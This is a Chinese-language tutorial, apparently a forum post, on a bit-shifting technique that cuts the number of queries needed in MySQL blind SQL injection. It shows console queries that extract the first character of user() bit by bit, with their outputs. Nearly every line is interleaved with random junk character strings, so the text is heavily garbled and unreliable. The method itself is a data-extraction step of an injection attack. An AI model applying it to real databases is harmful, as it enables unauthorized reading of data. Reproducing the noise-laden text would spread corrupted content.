关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位



下面将以查询mysql数据库当中user()的第一位为例:


; t( E- [0 y6 b* V
" |: g0 D6 I* ?1 g' E% ups:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)



+ _9 ]* ~. V/ S首先执行如下sql语句:
# ~; r+ m' Q& G  {

$ \1 E' u% A7 ?6 [
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
7 s* ]- S6 u5 u8 ~
8 Z8 X, s/ j7 H- E( f' l! E# k
2 \+ h" e, T; n) V: q- B0 d
5 T- B$ N! d6 Z- S我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的


7 [# p8 ^, b) e
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
! q9 k- k2 \/ ?+ i: B

! A! H1 Q$ {5 f$ Y+ u
如果运算结果为1,说明第一位为0,不为1
" R' o& N& Z: [% _( D
: G2 H$ P# @8 ~2 V
: ^4 i. f+ s2 n, f8 O. Q% c, V
$ A) s2 j4 c* }- p# f4 Y0 X+————————————–+

2 g3 a8 d3 R- e# I0 w| (ascii((substr(user(),1,1))) >> 7)=0 |
- k; z% k7 z. C+ v& O
+————————————–+

| 1 |

  R4 R' T+ ]+ W  T5 c+————————————–+
# p' Z/ }* H0 |# c
1 row in set (0.00 sec)

这样我们就确定这个8bit的ascii的第一位为0


  l1 q# Z! Z+ Q7 v  [- s- Z
  j: g6 h$ s/ |: F' l第二次我们来做6次右偏移来确定前两位

1 a* V: p; W& \1 f3 j2 Y6 \
2 f6 i8 k8 X% l" ]) n
前两位可能是01或00,即依然可以与0做比较,

mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
5 b; X& L/ H: K1 z* P
" a! M  d; r( a) L( @: [3 c* e+————————————–+

" S: u$ x1 X9 _1 |% t4 g| (ascii((substr(user(),1,1))) >> 6)=0 |

* O# G. ?. O5 I' s1 Y6 A6 l/ [+————————————–+

2 U5 U7 z; A7 N: _* q# b0 ?| 0 |

* _7 q( a8 |) e5 S" u+————————————–+

1 row in set (0.00 sec)


+ \7 |8 H  k! C
& ^7 p; ^8 l7 @$ P" `结果为0,即第二位为1
2 J# A- Y1 Y2 r, h5 g


9 T% ?% U0 O# G9 r# y) u# E( G开始猜测前三位为010或011



  z  o1 S6 p1 }, z: u& w让我们看看010和011的ascii码是多少
) L0 N( M* W+ U9 O6 n# ]


& b( w. g8 |3 j, ^分别查询select b’011′ select b’010′

( U2 f. q/ c! x2 B3 K

获得结果 010 = 2 011 = 3

) d+ s, H7 ]5 T3 H6 p% P" Z; G
! D$ F8 O; H5 @4 t% `( F
0 c+ |2 q- q# e执行如下sql:


$ u' g' d2 }; H: u2 Z3 A
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
# L0 {4 I$ T# a* q
5 p& R8 \$ l1 C# v: R6 o# O+————————————–+

| (ascii((substr(user(),1,1))) >> 5)=2 |
* G# w2 w2 c) P" S  ?
+————————————–+
3 a0 x# Q! ~" \
| 0 |
2 O( q; J+ e3 `2 d5 g
+————————————–+

$ Z, x' j# i' Y! v8 \: ~即前三位不为010,而是011

/ T# M# e0 E8 x6 h! Y
4 g9 G! M, K, @2 N4 x- R
0 d; c4 L: E& K2 K) V直到获得最后一位


- s- M$ R$ a/ T3 b
/ u" @  C8 J# ]. U- ^2 w最终结果为:01110010

" n" ?7 o- ]2 {. H

2 r1 t0 Z/ n! h" U6 X, i% t转换一下:



+ D8 K5 u2 H0 }; v0 E2 g1 {2 yselect b’01110010′
: ?9 G* j7 E, s; v


8 Y3 K3 r* J5 V查询结果



+————-+
# s# X9 Z4 x! h, W2 ^
  K9 x; a3 v9 v0 ~| b’01110010′ |

+————-+
) ?- u2 c2 U- p, s3 Y
| r |
, b8 d: C3 [6 X5 K0 Z0 n& J
+————-+
4 R6 s- ~1 R  S" d4 F
1 row in set (0.00 sec)
& e  E9 x7 b" g, M. s: K5 h

8 Q7 i6 W+ @( y
这样我们就获得了user()的第一位.其它位依此类推
/ t. d; ^0 r3 J6 q* e; ]
& T' k/ b) k6 D/ Z2 H9 l- Z! [